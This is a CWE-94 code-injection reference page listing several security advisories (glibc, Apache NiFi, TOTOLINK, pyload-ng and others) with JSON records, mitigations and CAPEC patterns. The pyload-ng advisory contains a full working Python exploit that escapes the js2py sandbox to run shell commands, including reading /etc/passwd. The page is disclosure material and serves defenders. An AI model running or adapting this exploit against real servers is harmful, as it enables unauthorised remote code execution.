CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9394 vulnerabilities reference this CWE, most recent first.
GHSA-R955-5974-3X3P
Vulnerability from github – Published: 2022-05-17 04:30 – Updated: 2025-04-12 12:41Integer signedness error in Glibc before 2.13 and eglibc before 2.13, when using Supplemental Streaming SIMD Extensions 3 (SSSE3) optimization, allows context-dependent attackers to execute arbitrary code via a negative length parameter to (1) memcpy-ssse3-rep.S, (2) memcpy-ssse3.S, or (3) memset-sse2.S in sysdeps/i386/i686/multiarch/, which triggers an out-of-bounds read, as demonstrated using the memcpy function.
{
"affected": [],
"aliases": [
"CVE-2011-2702"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-27T20:55:00Z",
"severity": "MODERATE"
},
"details": "Integer signedness error in Glibc before 2.13 and eglibc before 2.13, when using Supplemental Streaming SIMD Extensions 3 (SSSE3) optimization, allows context-dependent attackers to execute arbitrary code via a negative length parameter to (1) memcpy-ssse3-rep.S, (2) memcpy-ssse3.S, or (3) memset-sse2.S in sysdeps/i386/i686/multiarch/, which triggers an out-of-bounds read, as demonstrated using the memcpy function.",
"id": "GHSA-r955-5974-3x3p",
"modified": "2025-04-12T12:41:18Z",
"published": "2022-05-17T04:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2702"
},
{
"type": "WEB",
"url": "https://bugzilla.novell.com/show_bug.cgi?id=706915"
},
{
"type": "WEB",
"url": "https://sourceware.org/git/?p=glibc.git%3Ba=commit%3Bh=a0ac24d98ace90d1ccba6a2f3e7d55600f2fdb6e"
},
{
"type": "WEB",
"url": "https://sourceware.org/git/?p=glibc.git;a=commit;h=a0ac24d98ace90d1ccba6a2f3e7d55600f2fdb6e"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2011/q3/123"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2011/q3/153"
},
{
"type": "WEB",
"url": "http://www.eglibc.org/cgi-bin/viewvc.cgi/trunk/libc/ChangeLog?view=markup\u0026pathrev=10032"
},
{
"type": "WEB",
"url": "http://www.nodefense.org/eglibc.txt"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/80718"
},
{
"type": "WEB",
"url": "http://xorl.wordpress.com/2011/08/06/cve-2011-2702-eglibc-and-glibc-signedness-issue"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R969-8V3H-23V9
Vulnerability from github – Published: 2023-07-29 09:30 – Updated: 2025-02-13 19:03Apache NiFi 0.0.2 through 1.22.0 include Processors and Controller Services that support HTTP URL references for retrieving drivers, which allows an authenticated and authorized user to configure a location that enables custom code execution. The resolution introduces a new Required Permission for referencing remote resources, restricting configuration of these components to privileged users. The permission prevents unprivileged users from configuring Processors and Controller Services annotated with the new Reference Remote Resources restriction. Upgrading to Apache NiFi 1.23.0 is the recommended mitigation.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-cdc-mysql-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-jms-processors"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-standard-processors"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-dbcp-service"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-hikari-dbcp-service"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-hadoop-dbcp-service"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-hbase_2-client-service"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-record-serialization-services"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-36542"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-31T22:03:10Z",
"nvd_published_at": "2023-07-29T08:15:48Z",
"severity": "HIGH"
},
"details": "Apache NiFi 0.0.2 through 1.22.0 include Processors and Controller Services that support HTTP URL references for retrieving drivers, which allows an authenticated and authorized user to configure a location that enables custom code execution. The resolution introduces a new Required Permission for referencing remote resources, restricting configuration of these components to privileged users. The permission prevents unprivileged users from configuring Processors and Controller Services annotated with the new Reference Remote Resources restriction. Upgrading to Apache NiFi 1.23.0 is the recommended mitigation.",
"id": "GHSA-r969-8v3h-23v9",
"modified": "2025-02-13T19:03:29Z",
"published": "2023-07-29T09:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36542"
},
{
"type": "WEB",
"url": "https://github.com/apache/nifi/commit/532578799c"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/nifi"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/NIFI-11744"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/swnly3dzhhq9zo3rofc8djq77stkhbof"
},
{
"type": "WEB",
"url": "https://nifi.apache.org/security.html#CVE-2023-36542"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Jul/43"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/07/29/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache NiFi Code Injection vulnerability"
}
GHSA-R979-6FFQ-PVXW
Vulnerability from github – Published: 2024-08-13 15:31 – Updated: 2024-08-13 18:31In TOTOLINK X5000r v9.1.0cu.2350_b20230313, the file /cgi-bin/cstecgi.cgi contains an OS command injection vulnerability in setAccessDeviceCfg. Authenticated Attackers can send malicious packet to execute arbitrary commands.
{
"affected": [],
"aliases": [
"CVE-2024-42739"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T14:15:13Z",
"severity": "HIGH"
},
"details": "In TOTOLINK X5000r v9.1.0cu.2350_b20230313, the file /cgi-bin/cstecgi.cgi contains an OS command injection vulnerability in setAccessDeviceCfg. Authenticated Attackers can send malicious packet to execute arbitrary commands.",
"id": "GHSA-r979-6ffq-pvxw",
"modified": "2024-08-13T18:31:14Z",
"published": "2024-08-13T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42739"
},
{
"type": "WEB",
"url": "https://github.com/HouseFuzz/reports/blob/main/totolink/x5000r/setAccessDeviceCfg/setAccessDeviceCfg.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R97J-8742-F767
Vulnerability from github – Published: 2022-05-02 06:13 – Updated: 2024-10-21 18:30Use-after-free vulnerability in mstime.dll in Microsoft Internet Explorer 8 allows remote attackers to execute arbitrary code via vectors related to the TIME2 behavior, the CTimeAction object, and destruction of markup, leading to memory corruption, aka "HTML Object Memory Corruption Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-0492"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-31T19:30:00Z",
"severity": "HIGH"
},
"details": "Use-after-free vulnerability in mstime.dll in Microsoft Internet Explorer 8 allows remote attackers to execute arbitrary code via vectors related to the TIME2 behavior, the CTimeAction object, and destruction of markup, leading to memory corruption, aka \"HTML Object Memory Corruption Vulnerability.\"",
"id": "GHSA-r97j-8742-f767",
"modified": "2024-10-21T18:30:42Z",
"published": "2022-05-02T06:13:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0492"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-018"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7722"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023773"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/510506/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39030"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-068A.html"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-089A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0744"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-10-033"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R97Q-2669-F2RM
Vulnerability from github – Published: 2026-07-24 15:33 – Updated: 2026-07-24 18:31Improper control of generation of code ('Code Injection') in the variables feature in Devolutions PowerShell Universal 2026.2.2 and earlier allows an authenticated user with variable write permission to execute arbitrary PowerShell code via a crafted variable value that is not properly escaped when written to the variables configuration file.
{
"affected": [],
"aliases": [
"CVE-2026-16801"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-24T15:17:13Z",
"severity": "HIGH"
},
"details": "Improper control of generation of code (\u0027Code Injection\u0027) in the variables feature in Devolutions PowerShell Universal 2026.2.2 and earlier allows an authenticated user with variable write permission to execute arbitrary PowerShell code via a crafted variable value that is not properly escaped when written to the variables configuration file.",
"id": "GHSA-r97q-2669-f2rm",
"modified": "2026-07-24T18:31:25Z",
"published": "2026-07-24T15:33:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16801"
},
{
"type": "WEB",
"url": "https://devolutions.net/security/advisories/DEVO-2026-0025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R99V-5QP5-2G28
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06Monstra CMS 3.0.4 allows attackers to execute arbitrary code via a crafted payload entered into the "Snippet content" field under the "Edit Snippet" module.
{
"affected": [],
"aliases": [
"CVE-2020-23219"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-01T21:15:00Z",
"severity": "HIGH"
},
"details": "Monstra CMS 3.0.4 allows attackers to execute arbitrary code via a crafted payload entered into the \"Snippet content\" field under the \"Edit Snippet\" module.",
"id": "GHSA-r99v-5qp5-2g28",
"modified": "2022-05-24T19:06:41Z",
"published": "2022-05-24T19:06:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23219"
},
{
"type": "WEB",
"url": "https://github.com/monstra-cms/monstra/issues/466"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R9MM-2QXW-XJGC
Vulnerability from github – Published: 2026-03-21 00:31 – Updated: 2026-03-21 00:31The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the 'form_process' function. This is due to the 'prepare_post_data' function mapping user-supplied keys directly into internal placeholder storage, combined with the use of 'call_user_func' on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.
{
"affected": [],
"aliases": [
"CVE-2026-3584"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-20T22:16:29Z",
"severity": "CRITICAL"
},
"details": "The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the \u0027form_process\u0027 function. This is due to the \u0027prepare_post_data\u0027 function mapping user-supplied keys directly into internal placeholder storage, combined with the use of \u0027call_user_func\u0027 on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.",
"id": "GHSA-r9mm-2qxw-xjgc",
"modified": "2026-03-21T00:31:42Z",
"published": "2026-03-21T00:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3584"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kali-forms/tags/2.4.9/Inc/Frontend/class-form-processor.php#L697"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3487024/kali-forms"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6cecd06f-c064-49fd-b3fa-505a5a0c2e0b?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R9PP-R4XF-597R
Vulnerability from github – Published: 2024-09-09 18:17 – Updated: 2024-10-28 21:52Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev85"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39205"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-09T18:17:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n let result;\n for(let i in o.__subclasses__()) {\n let item = o.__subclasses__()[i]\n if(item.__module__ == \"subprocess\" \u0026\u0026 item.__name__ == \"Popen\") {\n return item\n }\n if(item.__name__ != \"type\" \u0026\u0026 (result = findpopen(item))) {\n return result\n }\n }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg\u0026crypted={quote(crypted_b64)}\u0026jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n s = socket.socket()\n s.connect((host, port))\n\n s.send(request)\n response = s.recv(1024).decode()\n print(response)\n\nif __name__ == \"__main__\":\n main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (\u003c=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn\u0027t use js2py for python3.12 or above.\n",
"id": "GHSA-r9pp-r4xf-597r",
"modified": "2024-10-28T21:52:37Z",
"published": "2024-09-09T18:17:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39205"
},
{
"type": "WEB",
"url": "https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-h95x-26f3-88hr"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pyload-ng vulnerable to RCE with js2py sandbox escape"
}
GHSA-R9QC-PQ8G-X74P
Vulnerability from github – Published: 2025-03-04 18:33 – Updated: 2025-03-04 18:33Unauthenticated remote code execution vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary code via the X-Forwarded-For header in an HTTP GET request.
{
"affected": [],
"aliases": [
"CVE-2024-50707"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-04T16:15:35Z",
"severity": "CRITICAL"
},
"details": "Unauthenticated remote code execution vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary code via the X-Forwarded-For header in an HTTP GET request.",
"id": "GHSA-r9qc-pq8g-x74p",
"modified": "2025-03-04T18:33:43Z",
"published": "2025-03-04T18:33:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50707"
},
{
"type": "WEB",
"url": "https://uniguest.com/cve-bulletins"
},
{
"type": "WEB",
"url": "https://uniguest.com/wp-content/uploads/2025/02/CVE-2024-50707-Vulnerability-Summary.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R9W9-725F-GCCQ
Vulnerability from github – Published: 2022-05-01 18:28 – Updated: 2022-05-01 18:28ips_kernel/class_upload.php in Invision Power Board (IPB or IP.Board) 2.3.1 up to 20070912 allows remote attackers to upload arbitrary script files with crafted image filenames to uploads/, where they are saved with a .txt extension and are not executable. NOTE: there are limited usage scenarios under which this would be a vulnerability, but it is being tracked by CVE since the vendor has stated it is security-relevant.
{
"affected": [],
"aliases": [
"CVE-2007-4913"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-17T17:17:00Z",
"severity": "HIGH"
},
"details": "ips_kernel/class_upload.php in Invision Power Board (IPB or IP.Board) 2.3.1 up to 20070912 allows remote attackers to upload arbitrary script files with crafted image filenames to uploads/, where they are saved with a .txt extension and are not executable. NOTE: there are limited usage scenarios under which this would be a vulnerability, but it is being tracked by CVE since the vendor has stated it is security-relevant.",
"id": "GHSA-r9w9-725f-gccq",
"modified": "2022-05-01T18:28:08Z",
"published": "2022-05-01T18:28:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4913"
},
{
"type": "WEB",
"url": "http://forums.invisionpower.com/index.php?act=attach\u0026type=post\u0026id=11870"
},
{
"type": "WEB",
"url": "http://forums.invisionpower.com/index.php?showtopic=237075"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.